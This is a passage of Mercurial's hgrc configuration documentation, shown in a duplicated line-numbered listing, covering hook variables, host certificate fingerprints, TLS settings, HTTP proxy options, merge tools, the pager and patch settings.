1403 commit to proceed. A non-zero status will cause the transaction to
1403 commit to proceed. A non-zero status will cause the transaction to
1404 be rolled back. The ID of the new changeset is in ``$HG_NODE``. The parent
1404 be rolled back. The ID of the new changeset is in ``$HG_NODE``. The parent
1405 changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1405 changeset IDs are in ``$HG_PARENT1`` and ``$HG_PARENT2``.
1406
1406
1407 ``preupdate``
1407 ``preupdate``
1408 Run before updating the working directory. Exit status 0 allows
1408 Run before updating the working directory. Exit status 0 allows
1409 the update to proceed. A non-zero status will prevent the update.
1409 the update to proceed. A non-zero status will prevent the update.
1410 The changeset ID of first new parent is in ``$HG_PARENT1``. If updating to a
1410 The changeset ID of first new parent is in ``$HG_PARENT1``. If updating to a
1411 merge, the ID of second new parent is in ``$HG_PARENT2``.
1411 merge, the ID of second new parent is in ``$HG_PARENT2``.
1412
1412
1413 ``listkeys``
1413 ``listkeys``
1414 Run after listing pushkeys (like bookmarks) in the repository. The
1414 Run after listing pushkeys (like bookmarks) in the repository. The
1415 key namespace is in ``$HG_NAMESPACE``. ``$HG_VALUES`` is a
1415 key namespace is in ``$HG_NAMESPACE``. ``$HG_VALUES`` is a
1416 dictionary containing the keys and values.
1416 dictionary containing the keys and values.
1417
1417
1418 ``pushkey``
1418 ``pushkey``
1419 Run after a pushkey (like a bookmark) is added to the
1419 Run after a pushkey (like a bookmark) is added to the
1420 repository. The key namespace is in ``$HG_NAMESPACE``, the key is in
1420 repository. The key namespace is in ``$HG_NAMESPACE``, the key is in
1421 ``$HG_KEY``, the old value (if any) is in ``$HG_OLD``, and the new
1421 ``$HG_KEY``, the old value (if any) is in ``$HG_OLD``, and the new
1422 value is in ``$HG_NEW``.
1422 value is in ``$HG_NEW``.
1423
1423
1424 ``tag``
1424 ``tag``
1425 Run after a tag is created. The ID of the tagged changeset is in ``$HG_NODE``.
1425 Run after a tag is created. The ID of the tagged changeset is in ``$HG_NODE``.
1426 The name of tag is in ``$HG_TAG``. The tag is local if ``$HG_LOCAL=1``, or in
1426 The name of tag is in ``$HG_TAG``. The tag is local if ``$HG_LOCAL=1``, or in
1427 the repository if ``$HG_LOCAL=0``.
1427 the repository if ``$HG_LOCAL=0``.
1428
1428
1429 ``update``
1429 ``update``
1430 Run after updating the working directory. The changeset ID of first
1430 Run after updating the working directory. The changeset ID of first
1431 new parent is in ``$HG_PARENT1``. If updating to a merge, the ID of second new
1431 new parent is in ``$HG_PARENT1``. If updating to a merge, the ID of second new
1432 parent is in ``$HG_PARENT2``. If the update succeeded, ``$HG_ERROR=0``. If the
1432 parent is in ``$HG_PARENT2``. If the update succeeded, ``$HG_ERROR=0``. If the
1433 update failed (e.g. because conflicts were not resolved), ``$HG_ERROR=1``.
1433 update failed (e.g. because conflicts were not resolved), ``$HG_ERROR=1``.
1434
1434
1435 .. note::
1435 .. note::
1436
1436
1437 It is generally better to use standard hooks rather than the
1437 It is generally better to use standard hooks rather than the
1438 generic pre- and post- command hooks, as they are guaranteed to be
1438 generic pre- and post- command hooks, as they are guaranteed to be
1439 called in the appropriate contexts for influencing transactions.
1439 called in the appropriate contexts for influencing transactions.
1440 Also, hooks like "commit" will be called in all contexts that
1440 Also, hooks like "commit" will be called in all contexts that
1441 generate a commit (e.g. tag) and not just the commit command.
1441 generate a commit (e.g. tag) and not just the commit command.
1442
1442
1443 .. note::
1443 .. note::
1444
1444
1445 Environment variables with empty values may not be passed to
1445 Environment variables with empty values may not be passed to
1446 hooks on platforms such as Windows. As an example, ``$HG_PARENT2``
1446 hooks on platforms such as Windows. As an example, ``$HG_PARENT2``
1447 will have an empty value under Unix-like platforms for non-merge
1447 will have an empty value under Unix-like platforms for non-merge
1448 changesets, while it will not be available at all under Windows.
1448 changesets, while it will not be available at all under Windows.
1449
1449
1450 The syntax for Python hooks is as follows::
1450 The syntax for Python hooks is as follows::
1451
1451
1452 hookname = python:modulename.submodule.callable
1452 hookname = python:modulename.submodule.callable
1453 hookname = python:/path/to/python/module.py:callable
1453 hookname = python:/path/to/python/module.py:callable
1454
1454
1455 Python hooks are run within the Mercurial process. Each hook is
1455 Python hooks are run within the Mercurial process. Each hook is
1456 called with at least three keyword arguments: a ui object (keyword
1456 called with at least three keyword arguments: a ui object (keyword
1457 ``ui``), a repository object (keyword ``repo``), and a ``hooktype``
1457 ``ui``), a repository object (keyword ``repo``), and a ``hooktype``
1458 keyword that tells what kind of hook is used. Arguments listed as
1458 keyword that tells what kind of hook is used. Arguments listed as
1459 environment variables above are passed as keyword arguments, with no
1459 environment variables above are passed as keyword arguments, with no
1460 ``HG_`` prefix, and names in lower case.
1460 ``HG_`` prefix, and names in lower case.
1461
1461
1462 If a Python hook returns a "true" value or raises an exception, this
1462 If a Python hook returns a "true" value or raises an exception, this
1463 is treated as a failure.
1463 is treated as a failure.
1464
1464
1465
1465
1466 ``hostfingerprints``
1466 ``hostfingerprints``
1467 --------------------
1467 --------------------
1468
1468
1469 (Deprecated. Use ``[hostsecurity]``'s ``fingerprints`` options instead.)
1469 (Deprecated. Use ``[hostsecurity]``'s ``fingerprints`` options instead.)
1470
1470
1471 Fingerprints of the certificates of known HTTPS servers.
1471 Fingerprints of the certificates of known HTTPS servers.
1472
1472
1473 A HTTPS connection to a server with a fingerprint configured here will
1473 A HTTPS connection to a server with a fingerprint configured here will
1474 only succeed if the servers certificate matches the fingerprint.
1474 only succeed if the servers certificate matches the fingerprint.
1475 This is very similar to how ssh known hosts works.
1475 This is very similar to how ssh known hosts works.
1476
1476
1477 The fingerprint is the SHA-1 hash value of the DER encoded certificate.
1477 The fingerprint is the SHA-1 hash value of the DER encoded certificate.
1478 Multiple values can be specified (separated by spaces or commas). This can
1478 Multiple values can be specified (separated by spaces or commas). This can
1479 be used to define both old and new fingerprints while a host transitions
1479 be used to define both old and new fingerprints while a host transitions
1480 to a new certificate.
1480 to a new certificate.
1481
1481
1482 The CA chain and web.cacerts is not used for servers with a fingerprint.
1482 The CA chain and web.cacerts is not used for servers with a fingerprint.
1483
1483
1484 For example::
1484 For example::
1485
1485
1486 [hostfingerprints]
1486 [hostfingerprints]
1487 hg.intevation.de = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1487 hg.intevation.de = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1488 hg.intevation.org = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1488 hg.intevation.org = fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1489
1489
1490 ``hostsecurity``
1490 ``hostsecurity``
1491 ----------------
1491 ----------------
1492
1492
1493 Used to specify global and per-host security settings for connecting to
1493 Used to specify global and per-host security settings for connecting to
1494 other machines.
1494 other machines.
1495
1495
1496 The following options control default behavior for all hosts.
1496 The following options control default behavior for all hosts.
1497
1497
1498 ``ciphers``
1498 ``ciphers``
1499 Defines the cryptographic ciphers to use for connections.
1499 Defines the cryptographic ciphers to use for connections.
1500
1500
1501 Value must be a valid OpenSSL Cipher List Format as documented at
1501 Value must be a valid OpenSSL Cipher List Format as documented at
1502 https://www.openssl.org/docs/manmaster/apps/ciphers.html#CIPHER-LIST-FORMAT.
1502 https://www.openssl.org/docs/manmaster/apps/ciphers.html#CIPHER-LIST-FORMAT.
1503
1503
1504 This setting is for advanced users only. Setting to incorrect values
1504 This setting is for advanced users only. Setting to incorrect values
1505 can significantly lower connection security or decrease performance.
1505 can significantly lower connection security or decrease performance.
1506 You have been warned.
1506 You have been warned.
1507
1507
1508 This option requires Python 2.7.
1508 This option requires Python 2.7.
1509
1509
1510 ``minimumprotocol``
1510 ``minimumprotocol``
1511 Defines the minimum channel encryption protocol to use.
1511 Defines the minimum channel encryption protocol to use.
1512
1512
1513 By default, the highest version of TLS supported by both client and server
1513 By default, the highest version of TLS supported by both client and server
1514 is used.
1514 is used.
1515
1515
1516 Allowed values are: ``tls1.0``, ``tls1.1``, ``tls1.2``.
1516 Allowed values are: ``tls1.0``, ``tls1.1``, ``tls1.2``.
1517
1517
1518 When running on an old Python version, only ``tls1.0`` is allowed since
1518 When running on an old Python version, only ``tls1.0`` is allowed since
1519 old versions of Python only support up to TLS 1.0.
1519 old versions of Python only support up to TLS 1.0.
1520
1520
1521 When running a Python that supports modern TLS versions, the default is
1521 When running a Python that supports modern TLS versions, the default is
1522 ``tls1.1``. ``tls1.0`` can still be used to allow TLS 1.0. However, this
1522 ``tls1.1``. ``tls1.0`` can still be used to allow TLS 1.0. However, this
1523 weakens security and should only be used as a feature of last resort if
1523 weakens security and should only be used as a feature of last resort if
1524 a server does not support TLS 1.1+.
1524 a server does not support TLS 1.1+.
1525
1525
1526 Options in the ``[hostsecurity]`` section can have the form
1526 Options in the ``[hostsecurity]`` section can have the form
1527 ``hostname``:``setting``. This allows multiple settings to be defined on a
1527 ``hostname``:``setting``. This allows multiple settings to be defined on a
1528 per-host basis.
1528 per-host basis.
1529
1529
1530 The following per-host settings can be defined.
1530 The following per-host settings can be defined.
1531
1531
1532 ``ciphers``
1532 ``ciphers``
1533 This behaves like ``ciphers`` as described above except it only applies
1533 This behaves like ``ciphers`` as described above except it only applies
1534 to the host on which it is defined.
1534 to the host on which it is defined.
1535
1535
1536 ``fingerprints``
1536 ``fingerprints``
1537 A list of hashes of the DER encoded peer/remote certificate. Values have
1537 A list of hashes of the DER encoded peer/remote certificate. Values have
1538 the form ``algorithm``:``fingerprint``. e.g.
1538 the form ``algorithm``:``fingerprint``. e.g.
1539 ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``.
1539 ``sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2``.
1540 In addition, colons (``:``) can appear in the fingerprint part.
1540 In addition, colons (``:``) can appear in the fingerprint part.
1541
1541
1542 The following algorithms/prefixes are supported: ``sha1``, ``sha256``,
1542 The following algorithms/prefixes are supported: ``sha1``, ``sha256``,
1543 ``sha512``.
1543 ``sha512``.
1544
1544
1545 Use of ``sha256`` or ``sha512`` is preferred.
1545 Use of ``sha256`` or ``sha512`` is preferred.
1546
1546
1547 If a fingerprint is specified, the CA chain is not validated for this
1547 If a fingerprint is specified, the CA chain is not validated for this
1548 host and Mercurial will require the remote certificate to match one
1548 host and Mercurial will require the remote certificate to match one
1549 of the fingerprints specified. This means if the server updates its
1549 of the fingerprints specified. This means if the server updates its
1550 certificate, Mercurial will abort until a new fingerprint is defined.
1550 certificate, Mercurial will abort until a new fingerprint is defined.
1551 This can provide stronger security than traditional CA-based validation
1551 This can provide stronger security than traditional CA-based validation
1552 at the expense of convenience.
1552 at the expense of convenience.
1553
1553
1554 This option takes precedence over ``verifycertsfile``.
1554 This option takes precedence over ``verifycertsfile``.
1555
1555
1556 ``minimumprotocol``
1556 ``minimumprotocol``
1557 This behaves like ``minimumprotocol`` as described above except it
1557 This behaves like ``minimumprotocol`` as described above except it
1558 only applies to the host on which it is defined.
1558 only applies to the host on which it is defined.
1559
1559
1560 ``verifycertsfile``
1560 ``verifycertsfile``
1561 Path to file a containing a list of PEM encoded certificates used to
1561 Path to file a containing a list of PEM encoded certificates used to
1562 verify the server certificate. Environment variables and ``~user``
1562 verify the server certificate. Environment variables and ``~user``
1563 constructs are expanded in the filename.
1563 constructs are expanded in the filename.
1564
1564
1565 The server certificate or the certificate's certificate authority (CA)
1565 The server certificate or the certificate's certificate authority (CA)
1566 must match a certificate from this file or certificate verification
1566 must match a certificate from this file or certificate verification
1567 will fail and connections to the server will be refused.
1567 will fail and connections to the server will be refused.
1568
1568
1569 If defined, only certificates provided by this file will be used:
1569 If defined, only certificates provided by this file will be used:
1570 ``web.cacerts`` and any system/default certificates will not be
1570 ``web.cacerts`` and any system/default certificates will not be
1571 used.
1571 used.
1572
1572
1573 This option has no effect if the per-host ``fingerprints`` option
1573 This option has no effect if the per-host ``fingerprints`` option
1574 is set.
1574 is set.
1575
1575
1576 The format of the file is as follows::
1576 The format of the file is as follows::
1577
1577
1578 -----BEGIN CERTIFICATE-----
1578 -----BEGIN CERTIFICATE-----
1579 ... (certificate in base64 PEM encoding) ...
1579 ... (certificate in base64 PEM encoding) ...
1580 -----END CERTIFICATE-----
1580 -----END CERTIFICATE-----
1581 -----BEGIN CERTIFICATE-----
1581 -----BEGIN CERTIFICATE-----
1582 ... (certificate in base64 PEM encoding) ...
1582 ... (certificate in base64 PEM encoding) ...
1583 -----END CERTIFICATE-----
1583 -----END CERTIFICATE-----
1584
1584
1585 For example::
1585 For example::
1586
1586
1587 [hostsecurity]
1587 [hostsecurity]
1588 hg.example.com:fingerprints = sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
1588 hg.example.com:fingerprints = sha256:c3ab8ff13720e8ad9047dd39466b3c8974e592c2fa383d4a3960714caef0c4f2
1589 hg2.example.com:fingerprints = sha1:914f1aff87249c09b6859b88b1906d30756491ca, sha1:fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1589 hg2.example.com:fingerprints = sha1:914f1aff87249c09b6859b88b1906d30756491ca, sha1:fc:e2:8d:d9:51:cd:cb:c1:4d:18:6b:b7:44:8d:49:72:57:e6:cd:33
1590 hg3.example.com:fingerprints = sha256:9a:b0:dc:e2:75:ad:8a:b7:84:58:e5:1f:07:32:f1:87:e6:bd:24:22:af:b7:ce:8e:9c:b4:10:cf:b9:f4:0e:d2
1590 hg3.example.com:fingerprints = sha256:9a:b0:dc:e2:75:ad:8a:b7:84:58:e5:1f:07:32:f1:87:e6:bd:24:22:af:b7:ce:8e:9c:b4:10:cf:b9:f4:0e:d2
1591 foo.example.com:verifycertsfile = /etc/ssl/trusted-ca-certs.pem
1591 foo.example.com:verifycertsfile = /etc/ssl/trusted-ca-certs.pem
1592
1592
1593 To change the default minimum protocol version to TLS 1.2 but to allow TLS 1.1
1593 To change the default minimum protocol version to TLS 1.2 but to allow TLS 1.1
1594 when connecting to ``hg.example.com``::
1594 when connecting to ``hg.example.com``::
1595
1595
1596 [hostsecurity]
1596 [hostsecurity]
1597 minimumprotocol = tls1.2
1597 minimumprotocol = tls1.2
1598 hg.example.com:minimumprotocol = tls1.1
1598 hg.example.com:minimumprotocol = tls1.1
1599
1599
1600 ``http_proxy``
1600 ``http_proxy``
1601 --------------
1601 --------------
1602
1602
1603 Used to access web-based Mercurial repositories through a HTTP
1603 Used to access web-based Mercurial repositories through a HTTP
1604 proxy.
1604 proxy.
1605
1605
1606 ``host``
1606 ``host``
1607 Host name and (optional) port of the proxy server, for example
1607 Host name and (optional) port of the proxy server, for example
1608 "myproxy:8000".
1608 "myproxy:8000".
1609
1609
1610 ``no``
1610 ``no``
1611 Optional. Comma-separated list of host names that should bypass
1611 Optional. Comma-separated list of host names that should bypass
1612 the proxy.
1612 the proxy.
1613
1613
1614 ``passwd``
1614 ``passwd``
1615 Optional. Password to authenticate with at the proxy server.
1615 Optional. Password to authenticate with at the proxy server.
1616
1616
1617 ``user``
1617 ``user``
1618 Optional. User name to authenticate with at the proxy server.
1618 Optional. User name to authenticate with at the proxy server.
1619
1619
1620 ``always``
1620 ``always``
1621 Optional. Always use the proxy, even for localhost and any entries
1621 Optional. Always use the proxy, even for localhost and any entries
1622 in ``http_proxy.no``. (default: False)
1622 in ``http_proxy.no``. (default: False)
1623
1623
1624 ``http``
1624 ``http``
1625 ----------
1625 ----------
1626
1626
1627 Used to configure access to Mercurial repositories via HTTP.
1627 Used to configure access to Mercurial repositories via HTTP.
1628
1628
1629 ``timeout``
1629 ``timeout``
1630 If set, blocking operations will timeout after that many seconds.
1630 If set, blocking operations will timeout after that many seconds.
1631 (default: None)
1631 (default: None)
1632
1632
1633 ``merge``
1633 ``merge``
1634 ---------
1634 ---------
1635
1635
1636 This section specifies behavior during merges and updates.
1636 This section specifies behavior during merges and updates.
1637
1637
1638 ``checkignored``
1638 ``checkignored``
1639 Controls behavior when an ignored file on disk has the same name as a tracked
1639 Controls behavior when an ignored file on disk has the same name as a tracked
1640 file in the changeset being merged or updated to, and has different
1640 file in the changeset being merged or updated to, and has different
1641 contents. Options are ``abort``, ``warn`` and ``ignore``. With ``abort``,
1641 contents. Options are ``abort``, ``warn`` and ``ignore``. With ``abort``,
1642 abort on such files. With ``warn``, warn on such files and back them up as
1642 abort on such files. With ``warn``, warn on such files and back them up as
1643 ``.orig``. With ``ignore``, don't print a warning and back them up as
1643 ``.orig``. With ``ignore``, don't print a warning and back them up as
1644 ``.orig``. (default: ``abort``)
1644 ``.orig``. (default: ``abort``)
1645
1645
1646 ``checkunknown``
1646 ``checkunknown``
1647 Controls behavior when an unknown file that isn't ignored has the same name
1647 Controls behavior when an unknown file that isn't ignored has the same name
1648 as a tracked file in the changeset being merged or updated to, and has
1648 as a tracked file in the changeset being merged or updated to, and has
1649 different contents. Similar to ``merge.checkignored``, except for files that
1649 different contents. Similar to ``merge.checkignored``, except for files that
1650 are not ignored. (default: ``abort``)
1650 are not ignored. (default: ``abort``)
1651
1651
1652 ``on-failure``
1652 ``on-failure``
1653 When set to ``continue`` (the default), the merge process attempts to
1653 When set to ``continue`` (the default), the merge process attempts to
1654 merge all unresolved files using the merge chosen tool, regardless of
1654 merge all unresolved files using the merge chosen tool, regardless of
1655 whether previous file merge attempts during the process succeeded or not.
1655 whether previous file merge attempts during the process succeeded or not.
1656 Setting this to ``prompt`` will prompt after any merge failure continue
1656 Setting this to ``prompt`` will prompt after any merge failure continue
1657 or halt the merge process. Setting this to ``halt`` will automatically
1657 or halt the merge process. Setting this to ``halt`` will automatically
1658 halt the merge process on any merge tool failure. The merge process
1658 halt the merge process on any merge tool failure. The merge process
1659 can be restarted by using the ``resolve`` command. When a merge is
1659 can be restarted by using the ``resolve`` command. When a merge is
1660 halted, the repository is left in a normal ``unresolved`` merge state.
1660 halted, the repository is left in a normal ``unresolved`` merge state.
1661 (default: ``continue``)
1661 (default: ``continue``)
1662
1662
1663 ``strict-capability-check``
1663 ``strict-capability-check``
1664 Whether capabilities of internal merge tools are checked strictly
1664 Whether capabilities of internal merge tools are checked strictly
1665 or not, while examining rules to decide merge tool to be used.
1665 or not, while examining rules to decide merge tool to be used.
1666 (default: False)
1666 (default: False)
1667
1667
1668 ``merge-patterns``
1668 ``merge-patterns``
1669 ------------------
1669 ------------------
1670
1670
1671 This section specifies merge tools to associate with particular file
1671 This section specifies merge tools to associate with particular file
1672 patterns. Tools matched here will take precedence over the default
1672 patterns. Tools matched here will take precedence over the default
1673 merge tool. Patterns are globs by default, rooted at the repository
1673 merge tool. Patterns are globs by default, rooted at the repository
1674 root.
1674 root.
1675
1675
1676 Example::
1676 Example::
1677
1677
1678 [merge-patterns]
1678 [merge-patterns]
1679 **.c = kdiff3
1679 **.c = kdiff3
1680 **.jpg = myimgmerge
1680 **.jpg = myimgmerge
1681
1681
1682 ``merge-tools``
1682 ``merge-tools``
1683 ---------------
1683 ---------------
1684
1684
1685 This section configures external merge tools to use for file-level
1685 This section configures external merge tools to use for file-level
1686 merges. This section has likely been preconfigured at install time.
1686 merges. This section has likely been preconfigured at install time.
1687 Use :hg:`config merge-tools` to check the existing configuration.
1687 Use :hg:`config merge-tools` to check the existing configuration.
1688 Also see :hg:`help merge-tools` for more details.
1688 Also see :hg:`help merge-tools` for more details.
1689
1689
1690 Example ``~/.hgrc``::
1690 Example ``~/.hgrc``::
1691
1691
1692 [merge-tools]
1692 [merge-tools]
1693 # Override stock tool location
1693 # Override stock tool location
1694 kdiff3.executable = ~/bin/kdiff3
1694 kdiff3.executable = ~/bin/kdiff3
1695 # Specify command line
1695 # Specify command line
1696 kdiff3.args = $base $local $other -o $output
1696 kdiff3.args = $base $local $other -o $output
1697 # Give higher priority
1697 # Give higher priority
1698 kdiff3.priority = 1
1698 kdiff3.priority = 1
1699
1699
1700 # Changing the priority of preconfigured tool
1700 # Changing the priority of preconfigured tool
1701 meld.priority = 0
1701 meld.priority = 0
1702
1702
1703 # Disable a preconfigured tool
1703 # Disable a preconfigured tool
1704 vimdiff.disabled = yes
1704 vimdiff.disabled = yes
1705
1705
1706 # Define new tool
1706 # Define new tool
1707 myHtmlTool.args = -m $local $other $base $output
1707 myHtmlTool.args = -m $local $other $base $output
1708 myHtmlTool.regkey = Software\FooSoftware\HtmlMerge
1708 myHtmlTool.regkey = Software\FooSoftware\HtmlMerge
1709 myHtmlTool.priority = 1
1709 myHtmlTool.priority = 1
1710
1710
1711 Supported arguments:
1711 Supported arguments:
1712
1712
1713 ``priority``
1713 ``priority``
1714 The priority in which to evaluate this tool.
1714 The priority in which to evaluate this tool.
1715 (default: 0)
1715 (default: 0)
1716
1716
1717 ``executable``
1717 ``executable``
1718 Either just the name of the executable or its pathname.
1718 Either just the name of the executable or its pathname.
1719
1719
1720 .. container:: windows
1720 .. container:: windows
1721
1721
1722 On Windows, the path can use environment variables with ${ProgramFiles}
1722 On Windows, the path can use environment variables with ${ProgramFiles}
1723 syntax.
1723 syntax.
1724
1724
1725 (default: the tool name)
1725 (default: the tool name)
1726
1726
1727 ``args``
1727 ``args``
1728 The arguments to pass to the tool executable. You can refer to the
1728 The arguments to pass to the tool executable. You can refer to the
1729 files being merged as well as the output file through these
1729 files being merged as well as the output file through these
1730 variables: ``$base``, ``$local``, ``$other``, ``$output``.
1730 variables: ``$base``, ``$local``, ``$other``, ``$output``.
1731
1731
1732 The meaning of ``$local`` and ``$other`` can vary depending on which action is
1732 The meaning of ``$local`` and ``$other`` can vary depending on which action is
1733 being performed. During an update or merge, ``$local`` represents the original
1733 being performed. During an update or merge, ``$local`` represents the original
1734 state of the file, while ``$other`` represents the commit you are updating to or
1734 state of the file, while ``$other`` represents the commit you are updating to or
1735 the commit you are merging with. During a rebase, ``$local`` represents the
1735 the commit you are merging with. During a rebase, ``$local`` represents the
1736 destination of the rebase, and ``$other`` represents the commit being rebased.
1736 destination of the rebase, and ``$other`` represents the commit being rebased.
1737
1737
1738 Some operations define custom labels to assist with identifying the revisions,
1738 Some operations define custom labels to assist with identifying the revisions,
1739 accessible via ``$labellocal``, ``$labelother``, and ``$labelbase``. If custom
1739 accessible via ``$labellocal``, ``$labelother``, and ``$labelbase``. If custom
1740 labels are not available, these will be ``local``, ``other``, and ``base``,
1740 labels are not available, these will be ``local``, ``other``, and ``base``,
1741 respectively.
1741 respectively.
1742 (default: ``$local $base $other``)
1742 (default: ``$local $base $other``)
1743
1743
1744 ``premerge``
1744 ``premerge``
1745 Attempt to run internal non-interactive 3-way merge tool before
1745 Attempt to run internal non-interactive 3-way merge tool before
1746 launching external tool. Options are ``true``, ``false``, ``keep``,
1746 launching external tool. Options are ``true``, ``false``, ``keep``,
1747 ``keep-merge3``, or ``keep-mergediff`` (experimental). The ``keep`` option
1747 ``keep-merge3``, or ``keep-mergediff`` (experimental). The ``keep`` option
1748 will leave markers in the file if the premerge fails. The ``keep-merge3``
1748 will leave markers in the file if the premerge fails. The ``keep-merge3``
1749 will do the same but include information about the base of the merge in the
1749 will do the same but include information about the base of the merge in the
1750 marker (see internal :merge3 in :hg:`help merge-tools`). The
1750 marker (see internal :merge3 in :hg:`help merge-tools`). The
1751 ``keep-mergediff`` option is similar but uses a different marker style
1751 ``keep-mergediff`` option is similar but uses a different marker style
1752 (see internal :merge3 in :hg:`help merge-tools`). (default: True)
1752 (see internal :merge3 in :hg:`help merge-tools`). (default: True)
1753
1753
1754 ``binary``
1754 ``binary``
1755 This tool can merge binary files. (default: False, unless tool
1755 This tool can merge binary files. (default: False, unless tool
1756 was selected by file pattern match)
1756 was selected by file pattern match)
1757
1757
1758 ``symlink``
1758 ``symlink``
1759 This tool can merge symlinks. (default: False)
1759 This tool can merge symlinks. (default: False)
1760
1760
1761 ``check``
1761 ``check``
1762 A list of merge success-checking options:
1762 A list of merge success-checking options:
1763
1763
1764 ``changed``
1764 ``changed``
1765 Ask whether merge was successful when the merged file shows no changes.
1765 Ask whether merge was successful when the merged file shows no changes.
1766 ``conflicts``
1766 ``conflicts``
1767 Check whether there are conflicts even though the tool reported success.
1767 Check whether there are conflicts even though the tool reported success.
1768 ``prompt``
1768 ``prompt``
1769 Always prompt for merge success, regardless of success reported by tool.
1769 Always prompt for merge success, regardless of success reported by tool.
1770
1770
1771 ``fixeol``
1771 ``fixeol``
1772 Attempt to fix up EOL changes caused by the merge tool.
1772 Attempt to fix up EOL changes caused by the merge tool.
1773 (default: False)
1773 (default: False)
1774
1774
1775 ``gui``
1775 ``gui``
1776 This tool requires a graphical interface to run. (default: False)
1776 This tool requires a graphical interface to run. (default: False)
1777
1777
1778 ``mergemarkers``
1778 ``mergemarkers``
1779 Controls whether the labels passed via ``$labellocal``, ``$labelother``, and
1779 Controls whether the labels passed via ``$labellocal``, ``$labelother``, and
1780 ``$labelbase`` are ``detailed`` (respecting ``mergemarkertemplate``) or
1780 ``$labelbase`` are ``detailed`` (respecting ``mergemarkertemplate``) or
1781 ``basic``. If ``premerge`` is ``keep`` or ``keep-merge3``, the conflict
1781 ``basic``. If ``premerge`` is ``keep`` or ``keep-merge3``, the conflict
1782 markers generated during premerge will be ``detailed`` if either this option or
1782 markers generated during premerge will be ``detailed`` if either this option or
1783 the corresponding option in the ``[ui]`` section is ``detailed``.
1783 the corresponding option in the ``[ui]`` section is ``detailed``.
1784 (default: ``basic``)
1784 (default: ``basic``)
1785
1785
1786 ``mergemarkertemplate``
1786 ``mergemarkertemplate``
1787 This setting can be used to override ``mergemarker`` from the
1787 This setting can be used to override ``mergemarker`` from the
1788 ``[command-templates]`` section on a per-tool basis; this applies to the
1788 ``[command-templates]`` section on a per-tool basis; this applies to the
1789 ``$label``-prefixed variables and to the conflict markers that are generated
1789 ``$label``-prefixed variables and to the conflict markers that are generated
1790 if ``premerge`` is ``keep` or ``keep-merge3``. See the corresponding variable
1790 if ``premerge`` is ``keep` or ``keep-merge3``. See the corresponding variable
1791 in ``[ui]`` for more information.
1791 in ``[ui]`` for more information.
1792
1792
1793 .. container:: windows
1793 .. container:: windows
1794
1794
1795 ``regkey``
1795 ``regkey``
1796 Windows registry key which describes install location of this
1796 Windows registry key which describes install location of this
1797 tool. Mercurial will search for this key first under
1797 tool. Mercurial will search for this key first under
1798 ``HKEY_CURRENT_USER`` and then under ``HKEY_LOCAL_MACHINE``.
1798 ``HKEY_CURRENT_USER`` and then under ``HKEY_LOCAL_MACHINE``.
1799 (default: None)
1799 (default: None)
1800
1800
1801 ``regkeyalt``
1801 ``regkeyalt``
1802 An alternate Windows registry key to try if the first key is not
1802 An alternate Windows registry key to try if the first key is not
1803 found. The alternate key uses the same ``regname`` and ``regappend``
1803 found. The alternate key uses the same ``regname`` and ``regappend``
1804 semantics of the primary key. The most common use for this key
1804 semantics of the primary key. The most common use for this key
1805 is to search for 32bit applications on 64bit operating systems.
1805 is to search for 32bit applications on 64bit operating systems.
1806 (default: None)
1806 (default: None)
1807
1807
1808 ``regname``
1808 ``regname``
1809 Name of value to read from specified registry key.
1809 Name of value to read from specified registry key.
1810 (default: the unnamed (default) value)
1810 (default: the unnamed (default) value)
1811
1811
1812 ``regappend``
1812 ``regappend``
1813 String to append to the value read from the registry, typically
1813 String to append to the value read from the registry, typically
1814 the executable name of the tool.
1814 the executable name of the tool.
1815 (default: None)
1815 (default: None)
1816
1816
1817 ``pager``
1817 ``pager``
1818 ---------
1818 ---------
1819
1819
1820 Setting used to control when to paginate and with what external tool. See
1820 Setting used to control when to paginate and with what external tool. See
1821 :hg:`help pager` for details.
1821 :hg:`help pager` for details.
1822
1822
1823 ``pager``
1823 ``pager``
1824 Define the external tool used as pager.
1824 Define the external tool used as pager.
1825
1825
1826 If no pager is set, Mercurial uses the environment variable $PAGER.
1826 If no pager is set, Mercurial uses the environment variable $PAGER.
1827 If neither pager.pager, nor $PAGER is set, a default pager will be
1827 If neither pager.pager, nor $PAGER is set, a default pager will be
1828 used, typically `less` on Unix and `more` on Windows. Example::
1828 used, typically `less` on Unix and `more` on Windows. Example::
1829
1829
1830 [pager]
1830 [pager]
1831 pager = less -FRX
1831 pager = less -FRX
1832
1832
1833 ``ignore``
1833 ``ignore``
1834 List of commands to disable the pager for. Example::
1834 List of commands to disable the pager for. Example::
1835
1835
1836 [pager]
1836 [pager]
1837 ignore = version, help, update
1837 ignore = version, help, update
1838
1838
1839 ``patch``
1839 ``patch``
1840 ---------
1840 ---------
1841
1841
1842 Settings used when applying patches, for instance through the 'import'
1842 Settings used when applying patches, for instance through the 'import'
1843 command or with Mercurial Queues extension.
1843 command or with Mercurial Queues extension.
1844
1844
1845 ``eol``
1845 ``eol``
1846 When set to 'strict' patch content and patched files end of lines
1846 When set to 'strict' patch content and patched files end of lines
1847 are preserved. When set to ``lf`` or ``crlf``, both files end of
1847 are preserved. When set to ``lf`` or ``crlf``, both files end of
1848 lines are ignored when patching and the result line endings are
1848 lines are ignored when patching and the result line endings are
1849 normalized to either LF (Unix) or CRLF (Windows). When set to
1849 normalized to either LF (Unix) or CRLF (Windows). When set to
1850 ``auto``, end of lines are again ignored while patching but line
1850 ``auto``, end of lines are again ignored while patching but line
1851 endings in patched files are normalized to their original setting
1851 endings in patched files are normalized to their original setting
1852 on a per-file basis. If target file does not exist or has no end
1852 on a per-file basis. If target file does not exist or has no end
1853 of line, patch line endings are preserved.
1853 of line, patch line endings are preserved.
1854 (default: strict)
1854 (default: strict)
1855
1855
1856 ``fuzz``
1856 ``fuzz``
1857 The number of lines of 'fuzz' to allow when applying patches. This
1857 The number of lines of 'fuzz' to allow when applying patches. This
1858 controls how much context the patcher is allowed to ignore when
